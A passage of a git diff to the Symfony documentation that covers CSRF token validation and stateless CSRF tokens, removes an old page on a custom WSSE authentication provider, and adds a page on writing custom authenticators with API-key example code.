args["post"].getId()'), tokenKey: 'token')] + public function delete(Post $post): Response + { + // ... do something, like deleting an object + } + +By default, the ``IsCsrfTokenValid`` attribute performs the CSRF token check for +all HTTP methods. You can restrict this validation to specific methods using the +``methods`` parameter. If the request uses a method not listed in the ``methods`` +array, the attribute is ignored for that request, and no CSRF validation occurs:: + + #[IsCsrfTokenValid('delete-item', tokenKey: 'token', methods: ['DELETE'])] + public function delete(Post $post): Response + { + // ... delete the object + } + +.. versionadded:: 7.1 + + The :class:`Symfony\\Component\\Security\\Http\\Attribute\\IsCsrfTokenValid` + attribute was introduced in Symfony 7.1. + +.. versionadded:: 7.3 + + The ``methods`` parameter was introduced in Symfony 7.3. + +CSRF Tokens and Compression Side-Channel Attacks +------------------------------------------------ + +`BREACH`_ and `CRIME`_ are security exploits against HTTPS when using HTTP +compression. Attackers can leverage information leaked by compression to recover +targeted parts of the plaintext. To mitigate these attacks, and prevent an +attacker from guessing the CSRF tokens, a random mask is prepended to the token +and used to scramble it. + +.. _csrf-stateless-tokens: + +Stateless CSRF Tokens +--------------------- + +.. versionadded:: 7.2 + + Stateless anti-CSRF protection was introduced in Symfony 7.2. + +Traditionally, CSRF tokens are stateful, meaning they're stored in the session. +However, some token IDs can be declared as stateless using the +``stateless_token_ids`` option. Stateless CSRF tokens are enabled by default +in applications using :ref:`Symfony Flex <symfony-flex>`. + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/csrf.yaml + framework: + # ... + csrf_protection: + stateless_token_ids: ['submit', 'authenticate', 'logout'] + + .. code-block:: xml + + <!-- config/packages/csrf.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <framework:csrf-protection> + <framework:stateless-token-id>submit</framework:stateless-token-id> + <framework:stateless-token-id>authenticate</framework:stateless-token-id> + <framework:stateless-token-id>logout</framework:stateless-token-id> + </framework:csrf-protection> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/csrf.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->csrfProtection() + ->statelessTokenIds(['submit', 'authenticate', 'logout']) + ; + }; + +Stateless CSRF tokens provide protection without relying on the session. This +allows you to fully cache pages while still protecting against CSRF attacks. + +When validating a stateless CSRF token, Symfony checks the ``Origin`` and +``Referer`` headers of the incoming HTTP request. If either header matches the +application's target origin (i.e. its domain), the token is considered valid. + +This mechanism relies on the application being able to determine its own origin. +If you're behind a reverse proxy, make sure it's properly configured. See +:doc:`/deployment/proxies`. + +Using a Default Token ID +~~~~~~~~~~~~~~~~~~~~~~~~ + +Stateful CSRF tokens are typically scoped per form or action, while stateless +tokens don't require many identifiers. + +In the example above, the ``authenticate`` and ``logout`` identifiers are listed +because they are used by default in the Symfony Security component. The ``submit`` +identifier is included so that form types defined by the application can also use +CSRF protection by default. + +The following configuration applies only to form types registered via +:ref:`autoconfiguration <services-autoconfigure>` (which is the default for your +own services), and it sets ``submit`` as their default token identifier: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/csrf.yaml + framework: + form: + csrf_protection: + token_id: 'submit' + + .. code-block:: xml + + <!-- config/packages/csrf.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <framework:form> + <framework:csrf-protection token-id="submit"/> + </framework:form> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/csrf.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->form() + ->csrfProtection() + ->tokenId('submit') + ; + }; + +Forms configured with a token identifier listed in the above ``stateless_token_ids`` +option will use the stateless CSRF protection. + +Generating CSRF Token Using Javascript +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +In addition to the ``Origin`` and ``Referer`` HTTP headers, stateless CSRF protection +can also validate tokens using a cookie and a header (named ``csrf-token`` by +default; see the :ref:`CSRF configuration reference <reference-framework-csrf-protection>`). + +These additional checks are part of the **defense-in-depth** strategy provided by +stateless CSRF protection. They are optional and require `some JavaScript`_ to +be enabled. This JavaScript generates a cryptographically secure random token +when a form is submitted. It then inserts the token into the form's hidden CSRF +field and sends it in both a cookie and a request header. + +On the server side, CSRF token validation compares the values in the cookie and +the header. This "double-submit" protection relies on the browser's same-origin +policy and is further hardened by: + +* generating a new token for each submission (to prevent cookie fixation); +* using ``samesite=strict`` and ``__Host-`` cookie attributes (to enforce HTTPS + and limit the cookie to the current domain). + +By default, the Symfony JavaScript snippet expects the hidden CSRF field to be +named ``_csrf_token`` or to include the ``data-controller="csrf-protection"`` +attribute. You can adapt this logic to your needs as long as the same protocol +is followed. + +To prevent validation from being downgraded, an extra behavioral check is performed: +if (and only if) a session already exists, successful "double-submit" is remembered +and becomes required for future requests. This ensures that once the optional cookie/header +validation has been proven effective, it remains enforced for that session. + +.. note:: + + Enforcing "double-submit" validation on all requests is not recommended, + as it may lead to a broken user experience. The opportunistic approach + described above is preferred, allowing the application to gracefully + fall back to ``Origin`` / ``Referer`` checks when JavaScript is unavailable. + .. _`Cross-site request forgery`: https://en.wikipedia.org/wiki/Cross-site_request_forgery +.. _`BREACH`: https://en.wikipedia.org/wiki/BREACH +.. _`CRIME`: https://en.wikipedia.org/wiki/CRIME +.. _`some JavaScript`: https://github.com/symfony/recipes/blob/main/symfony/stimulus-bundle/2.20/assets/controllers/csrf_protection_controller.js diff --git a/security/custom_authentication_provider.rst b/security/custom_authentication_provider.rst deleted file mode 100644 index 3199128b26a..00000000000 --- a/security/custom_authentication_provider.rst +++ /dev/null @@ -1,645 +0,0 @@ -.. index:: - single: Security; Custom authentication provider - -How to Create a custom Authentication Provider -============================================== - -.. caution:: - - Creating a custom authentication system is hard, and almost definitely - **not** needed. Instead, see :doc:`/security/guard_authentication` for a - simple way to create an authentication system you will love. Do **not** - keep reading unless you want to learn the lowest level details of - authentication. - -Symfony provides support for the most -:doc:`common authentication mechanisms </security/auth_providers>`. However, your -app may need to integrated with some proprietary single-sign-on system or some -legacy authentication mechanism. In those cases you could create a custom -authentication provider. This article discusses the core classes involved -in the authentication process, and how to implement a custom authentication -provider. Because authentication and authorization are separate concepts, -this extension will be user-provider agnostic, and will function with your -application's user providers, may they be based in memory, a database, or -wherever else you choose to store them. - -Meet WSSE ---------- - -The following article demonstrates how to create a custom authentication -provider for WSSE authentication. The security protocol for WSSE provides -several security benefits: - -#. Username / Password encryption -#. Safe guarding against replay attacks -#. No web server configuration required - -WSSE is very useful for the securing of web services, may they be SOAP or -REST. - -There is plenty of great documentation on `WSSE`_, but this article will -focus not on the security protocol, but rather the manner in which a custom -protocol can be added to your Symfony application. The basis of WSSE is -that a request header is checked for encrypted credentials, verified using -a timestamp and `nonce`_, and authenticated for the requested user using a -password digest. - -.. note:: - - WSSE also supports application key validation, which is useful for web - services, but is outside the scope of this article. - -The Token ---------- - -The role of the token in the Symfony security context is an important one. -A token represents the user authentication data present in the request. Once -a request is authenticated, the token retains the user's data, and delivers -this data across the security context. First, you'll create your token class. -This will allow the passing of all relevant information to your authentication -provider:: - - // src/Security/Authentication/Token/WsseUserToken.php - namespace App\Security\Authentication\Token; - - use Symfony\Component\Security\Core\Authentication\Token\AbstractToken; - - class WsseUserToken extends AbstractToken - { - public $created; - public $digest; - public $nonce; - - public function __construct(array $roles = []) - { - parent::__construct($roles); - - // If the user has roles, consider it authenticated - $this->setAuthenticated(count($roles) > 0); - } - - public function getCredentials() - { - return ''; - } - } - -.. note:: - - The ``WsseUserToken`` class extends the Security component's - :class:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\AbstractToken` - class, which provides basic token functionality. Implement the - :class:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\TokenInterface` - on any class to use as a token. - -The Listener ------------- - -Next, you need a listener to listen on the firewall. The listener -is responsible for fielding requests to the firewall and calling the authentication -provider. Listener is a callable, so you have to implement an ``__invoke()`` method. -A security listener should handle the -:class:`Symfony\\Component\\HttpKernel\\Event\\RequestEvent` event, and -set an authenticated token in the token storage if successful:: - - // src/Security/Firewall/WsseListener.php - namespace App\Security\Firewall; - - use App\Security\Authentication\Token\WsseUserToken; - use Symfony\Component\HttpFoundation\Response; - use Symfony\Component\HttpKernel\Event\RequestEvent; - use Symfony\Component\Security\Core\Authentication\AuthenticationManagerInterface; - use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; - use Symfony\Component\Security\Core\Exception\AuthenticationException; - - class WsseListener - { - protected $tokenStorage; - protected $authenticationManager; - - public function __construct(TokenStorageInterface $tokenStorage, AuthenticationManagerInterface $authenticationManager) - { - $this->tokenStorage = $tokenStorage; - $this->authenticationManager = $authenticationManager; - } - - public function __invoke(RequestEvent $event) - { - $request = $event->getRequest(); - - $wsseRegex = '/UsernameToken Username="(?P<username>[^"]+)", PasswordDigest="(?P<digest>[^"]+)", Nonce="(?P<nonce>[a-zA-Z0-9+\/]+={0,2})", Created="(?P<created>[^"]+)"/'; - if (!$request->headers->has('x-wsse') || 1 !== preg_match($wsseRegex, $request->headers->get('x-wsse'), $matches)) { - return; - } - - $token = new WsseUserToken(); - $token->setUser($matches['username']); - - $token->digest = $matches['digest']; - $token->nonce = $matches['nonce']; - $token->created = $matches['created']; - - try { - $authToken = $this->authenticationManager->authenticate($token); - $this->tokenStorage->setToken($authToken); - - return; - } catch (AuthenticationException $failed) { - // ... you might log something here - - // To deny the authentication clear the token. This will redirect to the login page. - // Make sure to only clear your token, not those of other authentication listeners. - // $token = $this->tokenStorage->getToken(); - // if ($token instanceof WsseUserToken && $this->providerKey === $token->getProviderKey()) { - // $this->tokenStorage->setToken(null); - // } - // return; - } - - // By default deny authorization - $response = new Response(); - $response->setStatusCode(Response::HTTP_FORBIDDEN); - $event->setResponse($response); - } - } - -This listener checks the request for the expected ``X-WSSE`` header, matches -the value returned for the expected WSSE information, creates a token using -that information, and passes the token on to the authentication manager. If -the proper information is not provided, or the authentication manager throws -an :class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationException`, -a 401 Response is returned. - -.. note:: - - A class not used above, the - :class:`Symfony\\Component\\Security\\Http\\Firewall\\AbstractAuthenticationListener` - class, is a very useful base class which provides commonly needed functionality - for security extensions. This includes maintaining the token in the session, - providing success / failure handlers, login form URLs, and more. As WSSE - does not require maintaining authentication sessions or login forms, it - won't be used for this example. - -.. note:: - - Returning prematurely from the listener is relevant only if you want to chain - authentication providers (for example to allow anonymous users). If you want - to forbid access to anonymous users and have a 404 error, you should set - the status code of the response before returning. - -The Authentication Provider ---------------------------- - -The authentication provider will do the verification of the ``WsseUserToken``. -Namely, the provider will verify the ``Created`` header value is valid within -five minutes, the ``Nonce`` header value is unique within five minutes, and -the ``PasswordDigest`` header value matches with the user's password:: - - // src/Security/Authentication/Provider/WsseProvider.php - namespace App\Security\Authentication\Provider; - - use App\Security\Authentication\Token\WsseUserToken; - use Psr\Cache\CacheItemPoolInterface; - use Symfony\Component\Security\Core\Authentication\Provider\AuthenticationProviderInterface; - use Symfony\Component\Security\Core\Authentication\Token\TokenInterface; - use Symfony\Component\Security\Core\Exception\AuthenticationException; - use Symfony\Component\Security\Core\User\UserProviderInterface; - - class WsseProvider implements AuthenticationProviderInterface - { - private $userProvider; - private $cachePool; - - public function __construct(UserProviderInterface $userProvider, CacheItemPoolInterface $cachePool) - { - $this->userProvider = $userProvider; - $this->cachePool = $cachePool; - } - - public function authenticate(TokenInterface $token) - { - $user = $this->userProvider->loadUserByUsername($token->getUsername()); - - if ($user && $this->validateDigest($token->digest, $token->nonce, $token->created, $user->getPassword())) { - $authenticatedToken = new WsseUserToken($user->getRoles()); - $authenticatedToken->setUser($user); - - return $authenticatedToken; - } - - throw new AuthenticationException('The WSSE authentication failed.'); - } - - /** - * This function is specific to Wsse authentication and is only used to help this example - * - * For more information specific to the logic here, see - * https://github.com/symfony/symfony-docs/pull/3134#issuecomment-27699129 - */ - protected function validateDigest($digest, $nonce, $created, $secret) - { - // Check created time is not in the future - if (strtotime($created) > time()) { - return false; - } - - // Expire timestamp after 5 minutes - if (time() - strtotime($created) > 300) { - return false; - } - - // Try to fetch the cache item from pool - $cacheItem = $this->cachePool->getItem(md5($nonce)); - - // Validate that the nonce is *not* in cache - // if it is, this could be a replay attack - if ($cacheItem->isHit()) { - // In a real world application you should throw a custom - // exception extending the AuthenticationException - throw new AuthenticationException('Previously used nonce detected'); - } - - // Store the item in cache for 5 minutes - $cacheItem->set(null)->expiresAfter(300); - $this->cachePool->save($cacheItem); - - // Validate Secret - $expected = base64_encode(sha1(base64_decode($nonce).$created.$secret, true)); - - return hash_equals($expected, $digest); - } - - public function supports(TokenInterface $token) - { - return $token instanceof WsseUserToken; - } - } - -.. note:: - - The :class:`Symfony\\Component\\Security\\Core\\Authentication\\Provider\\AuthenticationProviderInterface` - requires an ``authenticate()`` method on the user token, and a ``supports()`` - method, which tells the authentication manager whether or not to use this - provider for the given token. In the case of multiple providers, the - authentication manager will then move to the next provider in the list. - -The Factory ------------ - -You have created a custom token, custom listener, and custom provider. Now -you need to tie them all together. How do you make a unique provider available -for every firewall? The answer is by using a *factory*. A factory -is where you hook into the Security component, telling it the name of your -provider and any configuration options available for it. First, you must -create a class which implements -:class:`Symfony\\Bundle\\SecurityBundle\\DependencyInjection\\Security\\Factory\\SecurityFactoryInterface`:: - - // src/DependencyInjection/Security/Factory/WsseFactory.php - namespace App\DependencyInjection\Security\Factory; - - use App\Security\Authentication\Provider\WsseProvider; - use App\Security\Firewall\WsseListener; - use Symfony\Bundle\SecurityBundle\DependencyInjection\Security\Factory\SecurityFactoryInterface; - use Symfony\Component\Config\Definition\Builder\NodeDefinition; - use Symfony\Component\DependencyInjection\ChildDefinition; - use Symfony\Component\DependencyInjection\ContainerBuilder; - use Symfony\Component\DependencyInjection\Reference; - - class WsseFactory implements SecurityFactoryInterface - { - public function create(ContainerBuilder $container, string $id, array $config, string $userProvider, ?string $defaultEntryPoint) - { - $providerId = 'security.authentication.provider.wsse.'.$id; - $container - ->setDefinition($providerId, new ChildDefinition(WsseProvider::class)) - ->setArgument(0, new Reference($userProvider)) - ; - - $listenerId = 'security.authentication.listener.wsse.'.$id; - $container->setDefinition($listenerId, new ChildDefinition(WsseListener::class)); - - return [$providerId, $listenerId, $defaultEntryPoint]; - } - - public function getPosition() - { - return 'pre_auth'; - } - - public function getKey() - { - return 'wsse'; - } - - public function addConfiguration(NodeDefinition $node) - { - } - } - -The :class:`Symfony\\Bundle\\SecurityBundle\\DependencyInjection\\Security\\Factory\\SecurityFactoryInterface` -requires the following methods: - -``create()`` - Method which adds the listener and authentication provider - to the DI container for the appropriate security context. - -``getPosition()`` - Returns when the provider should be called. This can be one of ``pre_auth``, - ``form``, ``http`` or ``remember_me``. - -``getKey()`` - Method which defines the configuration key used to reference - the provider in the firewall configuration. - -``addConfiguration()`` - Method which is used to define the configuration - options underneath the configuration key in your security configuration. - Setting configuration options are explained later in this article. - -.. note:: - - A class not used in this example, - :class:`Symfony\\Bundle\\SecurityBundle\\DependencyInjection\\Security\\Factory\\AbstractFactory`, - is a very useful base class which provides commonly needed functionality - for security factories. It may be useful when defining an authentication - provider of a different type. - -Now that you have created a factory class, the ``wsse`` key can be used as -a firewall in your security configuration. - -.. note:: - - You may be wondering "why do you need a special factory class to add listeners - and providers to the dependency injection container?". This is a very - good question. The reason is you can use your firewall multiple times, - to secure multiple parts of your application. Because of this, each - time your firewall is used, a new service is created in the DI container. - The factory is what creates these new services. - -Configuration -------------- - -It's time to see your authentication provider in action. You will need to -do a few things in order to make this work. The first thing is to add the -services above to the DI container. Your factory class above makes reference -to service ids that may not exist yet: ``App\Security\Authentication\Provider\WsseProvider`` and -``App\Security\Firewall\WsseListener``. It's time to define those services. - -.. configuration-block:: - - .. code-block:: yaml - - # config/services.yaml - services: - # ... - - App\Security\Authentication\Provider\WsseProvider: - arguments: - $cachePool: '@cache.app' - - App\Security\Firewall\WsseListener: - arguments: ['@security.token_storage', '@security.authentication.manager'] - - .. code-block:: xml - - <!-- config/services.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd"> - - <services> - <service id="App\Security\Authentication\Provider\WsseProvider"> - <argument key="$cachePool" type="service" id="cache.app"></argument> - </service> - - <service id="App\Security\Firewall\WsseListener"> - <argument type="service" id="security.token_storage"/> - <argument type="service" id="security.authentication.manager"/> - </service> - </services> - </container> - - .. code-block:: php - - // config/services.php - namespace Symfony\Component\DependencyInjection\Loader\Configurator; - - use App\Security\Authentication\Provider\WsseProvider; - use App\Security\Firewall\WsseListener; - use Symfony\Component\DependencyInjection\Reference; - - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); - - $services->set(WsseProvider::class) - ->arg('$cachePool', service('cache.app')) - ; - - $services->set(WsseListener::class) - ->args([ - // In versions earlier to Symfony 5.1 the service() function was called ref() - service('security.token_storage'), - service('security.authentication.manager'), - ]) - ; - }; - -Now that your services are defined, tell your security context about your -factory in the kernel:: - - // src/Kernel.php - namespace App; - - use App\DependencyInjection\Security\Factory\WsseFactory; - // ... - - class Kernel extends BaseKernel - { - public function build(ContainerBuilder $container) - { - $extension = $container->getExtension('security'); - $extension->addSecurityListenerFactory(new WsseFactory()); - } - - // ... - } - -You are finished! You can now define parts of your app as under WSSE protection. - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/security.yaml - security: - # ... - - firewalls: - wsse_secured: - pattern: ^/api/ - stateless: true - wsse: true - - .. code-block:: xml - - <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> - <srv:container xmlns="http://symfony.com/schema/dic/security" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:srv="http://symfony.com/schema/dic/services" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/security - https://symfony.com/schema/dic/security/security-1.0.xsd"> - - <config> - <!-- ... --> - - <firewall - name="wsse_secured" - pattern="^/api/" - stateless="true" - wsse="true" - /> - </config> - </srv:container> - - .. code-block:: php - - // config/packages/security.php - $container->loadFromExtension('security', [ - // ... - - 'firewalls' => [ - 'wsse_secured' => [ - 'pattern' => '^/api/', - 'stateless' => true, - 'wsse' => true, - ], - ], - ]); - -Congratulations! You have written your very own custom security authentication -provider! - -A little Extra --------------- - -How about making your WSSE authentication provider a bit more exciting? The -possibilities are endless. Why don't you start by adding some sparkle -to that shine? - -Configuration -~~~~~~~~~~~~~ - -You can add custom options under the ``wsse`` key in your security configuration. -For instance, the time allowed before expiring the ``Created`` header item, -by default, is 5 minutes. Make this configurable, so different firewalls -can have different timeout lengths. - -You will first need to edit ``WsseFactory`` and define the new option in -the ``addConfiguration()`` method:: - - class WsseFactory implements SecurityFactoryInterface - { - // ... - - public function addConfiguration(NodeDefinition $node) - { - $node - ->children() - ->scalarNode('lifetime')->defaultValue(300) - ->end(); - } - } - -Now, in the ``create()`` method of the factory, the ``$config`` argument will -contain a ``lifetime`` key, set to 5 minutes (300 seconds) unless otherwise -set in the configuration. Pass this argument to your authentication provider -in order to put it to use:: - - use App\Security\Authentication\Provider\WsseProvider; - - class WsseFactory implements SecurityFactoryInterface - { - public function create(ContainerBuilder $container, string $id, array $config, string $userProvider, ?string $defaultEntryPoint) - { - $providerId = 'security.authentication.provider.wsse.'.$id; - $container - ->setDefinition($providerId, new ChildDefinition(WsseProvider::class)) - ->setArgument(0, new Reference($userProvider)) - ->setArgument(2, $config['lifetime']); - // ... - } - - // ... - } - -.. note:: - - The ``WsseProvider`` class will also now need to accept a third constructor argument - - the lifetime - which it should use instead of the hard-coded 300 seconds. This - step is not shown here. - -The lifetime of each WSSE request is now configurable, and can be -set to any desirable value per firewall. - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/security.yaml - security: - # ... - - firewalls: - wsse_secured: - pattern: ^/api/ - stateless: true - wsse: { lifetime: 30 } - - .. code-block:: xml - - <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> - <srv:container xmlns="http://symfony.com/schema/dic/security" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:srv="http://symfony.com/schema/dic/services" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/security - https://symfony.com/schema/dic/security/security-1.0.xsd"> - - <config> - <!-- ... --> - - <firewall name="wsse_secured" pattern="^/api/" stateless="true"> - <wsse lifetime="30"/> - </firewall> - </config> - </srv:container> - - .. code-block:: php - - // config/packages/security.php - $container->loadFromExtension('security', [ - // ... - - 'firewalls' => [ - 'wsse_secured' => [ - 'pattern' => '^/api/', - 'stateless' => true, - 'wsse' => [ - 'lifetime' => 30, - ], - ], - ], - ]); - -The rest is up to you! Any relevant configuration items can be defined -in the factory and consumed or passed to the other classes in the container. - - -.. _`WSSE`: https://www.xml.com/pub/a/2003/12/17/dive.html -.. _`nonce`: https://en.wikipedia.org/wiki/Cryptographic_nonce diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst new file mode 100644 index 00000000000..462ec21521c --- /dev/null +++ b/security/custom_authenticator.rst @@ -0,0 +1,483 @@ +How to Write a Custom Authenticator +=================================== + +Symfony comes with :ref:`many authenticators <security-authenticators>`, and +third-party bundles also implement more complex cases like JWT and OAuth 2.0. +However, sometimes you need to implement a custom authentication mechanism +that doesn't exist yet, or you need to customize an existing one. + +To save time, you can install `Symfony Maker`_ and let Symfony generate a new +authenticator by running the following command: + +.. code-block:: terminal + + $ php bin/console make:security:custom + + What is the class name of the authenticator (e.g. CustomAuthenticator): + > ApiKeyAuthenticator + + updated: config/packages/security.yaml + created: src/Security/ApiKeyAuthenticator.php + + Success! + +Open the ``src/Security/ApiKeyAuthenticator.php`` file created by this command, +and you'll find something like the following:: + + // src/Security/ApiKeyAuthenticator.php + namespace App\Security; + + use Symfony\Component\HttpFoundation\JsonResponse; + use Symfony\Component\HttpFoundation\Request; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Security\Core\Authentication\Token\TokenInterface; + use Symfony\Component\Security\Core\Exception\AuthenticationException; + use Symfony\Component\Security\Core\Exception\CustomUserMessageAuthenticationException; + use Symfony\Component\Security\Http\Authenticator\AbstractAuthenticator; + use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge; + use Symfony\Component\Security\Http\Authenticator\Passport\Passport; + use Symfony\Component\Security\Http\Authenticator\Passport\SelfValidatingPassport; + + class ApiKeyAuthenticator extends AbstractAuthenticator + { + /** + * Called on every request to decide if this authenticator should be + * used for the request. Returning `false` will cause this authenticator + * to be skipped. + */ + public function supports(Request $request): ?bool + { + // "auth-token" is an example of a custom, non-standard HTTP header used in this application + return $request->headers->has('auth-token'); + } + + public function authenticate(Request $request): Passport + { + $apiToken = $request->headers->get('auth-token'); + if (null === $apiToken) { + // The token header was empty, authentication fails with HTTP Status + // Code 401 "Unauthorized" + throw new CustomUserMessageAuthenticationException('No API token provided'); + } + + // implement your own logic to get the user identifier from `$apiToken` + // e.g. by looking up a user in the database using its API key + $userIdentifier = /** ... */; + + return new SelfValidatingPassport(new UserBadge($userIdentifier)); + } + + public function onAuthenticationSuccess(Request $request, TokenInterface $token, string $firewallName): ?Response + { + // on success, let the request continue + return null; + } + + public function onAuthenticationFailure(Request $request, AuthenticationException $exception): ?Response + { + $data = [ + // you may want to customize or obfuscate the message first + 'message' => strtr($exception->getMessageKey(), $exception->getMessageData()) + + // or to translate this message + // $this->translator->trans($exception->getMessageKey(), $exception->getMessageData()) + ]; + + return new JsonResponse($data, Response::HTTP_UNAUTHORIZED); + } + } + +Authenticators must implement the +:class:`Symfony\\Component\\Security\\Http\\Authenticator\\AuthenticatorInterface`. +You can also extend +:class:`Symfony\\Component\\Security\\Http\\Authenticator\\AbstractAuthenticator`, +which provides a default implementation of the ``createToken()`` method suitable +for most use cases. + +.. tip:: + + If your custom authenticator is a login form, consider extending + :class:`Symfony\\Component\\Security\\Http\\Authenticator\\AbstractLoginFormAuthenticator` + to simplify your implementation. + +Custom authenticators must be explicitly enabled in the security configuration +using the ``custom_authenticators`` setting of your firewall(s). If you used the +``make:security:custom`` command, this configuration is already updated, but you +should review it: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + + # ... + firewalls: + main: + custom_authenticators: + - App\Security\ApiKeyAuthenticator + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8"?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:srv="http://symfony.com/schema/dic/services" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <config> + <!-- ... --> + + <firewall name="main"> + <custom-authenticator>App\Security\ApiKeyAuthenticator</custom-authenticator> + </firewall> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use App\Security\ApiKeyAuthenticator; + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + $security->enableAuthenticatorManager(true); + // .... + + $security->firewall('main') + ->customAuthenticators([ApiKeyAuthenticator::class]) + ; + }; + +.. tip:: + + You may want your authenticator to implement + ``AuthenticationEntryPointInterface``. This defines the response sent + to users to start authentication (e.g. when they visit a protected + page). Read more about it in :doc:`/security/entry_point`. + +The ``authenticate()`` method is the most important method of the +authenticator. Its job is to extract credentials (e.g. username & +password, or API tokens) from the ``Request`` object and transform these +into a security +:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Passport` +(security passports are explained later in this article). + +After the authentication process finished, the user is either authenticated +or there was something wrong (e.g. incorrect password). The authenticator +can define what happens in these cases: + +``onAuthenticationSuccess(Request $request, TokenInterface $token, string $firewallName): ?Response`` + If authentication is successful, this method is called with the + authenticated ``$token``. + + This method can return a response (e.g. redirect the user to some page). + + If ``null`` is returned, the current request will continue (and the + user will be authenticated). This is useful for API routes where each + route is protected by an API key header. + +``onAuthenticationFailure(Request $request, AuthenticationException $exception): ?Response`` + If authentication failed (e. g. wrong username password), this method + is called with the ``AuthenticationException`` thrown. + + This method can return a response (e.g. send a 401 Unauthorized in API + routes). + + If ``null`` is returned, the request continues (but the user will **not** + be authenticated). This is useful for login forms, where the login + controller is run again with the login errors. + + If you're using :ref:`login throttling <security-login-throttling>`, + you can check if ``$exception`` is an instance of + :class:`Symfony\\Component\\Security\\Core\\Exception\\TooManyLoginAttemptsAuthenticationException` + (e.g. to display an appropriate message). + + **Caution**: Never use ``$exception->getMessage()`` for ``AuthenticationException`` + instances. This message might contain sensitive information that you + don't want to be publicly exposed. Instead, use ``$exception->getMessageKey()`` + and ``$exception->getMessageData()`` like shown in the full example + above. Use :class:`Symfony\\Component\\Security\\Core\\Exception\\CustomUserMessageAuthenticationException` + if you want to set custom error messages. + +.. tip:: + + If your login method is interactive, which means that the user actively + logged into your application, you may want your authenticator to implement the + :class:`Symfony\\Component\\Security\\Http\\Authenticator\\InteractiveAuthenticatorInterface` + so that it dispatches an + :class:`Symfony\\Component\\Security\\Http\\Event\\InteractiveLoginEvent` + +.. _security-passport: + +Security Passports +------------------ + +A passport is an object that contains the user that will be authenticated as +well as other pieces of information, like whether a password should be checked +or if "remember me" functionality should be enabled. + +The default +:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Passport` +requires a user and some sort of "credentials" (e.g. a password). + +Use the +:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\UserBadge` +to attach the user to the passport. The ``UserBadge`` requires a user +identifier (e.g. the username or email):: + + use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge; + + // ... + $passport = new Passport(new UserBadge($userIdentifier), $credentials); + +User Identifier +~~~~~~~~~~~~~~~ + +The user identifier is a unique string that identifies the user. It is often +something like their email address or username, but it can be any unique value +associated with the user. It allows loading the user through the configured +:ref:`user provider <security-user-providers>`. + +.. note:: + + The maximum length allowed for the user identifier is 4096 characters to + prevent `session storage flooding`_ attacks. + +.. note:: + + You can optionally pass a user loader as second argument to the + ``UserBadge``. This callable receives the ``$userIdentifier`` + and must return a ``UserInterface`` object (otherwise a + ``UserNotFoundException`` is thrown):: + + // src/Security/CustomAuthenticator.php + namespace App\Security; + + use App\Repository\UserRepository; + // ... + + class CustomAuthenticator extends AbstractAuthenticator + { + public function __construct( + private UserRepository $userRepository, + ) { + } + + public function authenticate(Request $request): Passport + { + // ... + + return new Passport( + new UserBadge($email, function (string $userIdentifier): ?UserInterface { + return $this->userRepository->findOneBy(['email' => $userIdentifier]); + }), + $credentials + ); + } + } + +Some applications normalize user identifiers before processing them. For example, +lowercasing identifiers helps treat values like "john.doe", "John.Doe", or +"JOHN.DOE" as equivalent in systems where identifiers are case-insensitive. + +If needed, you can 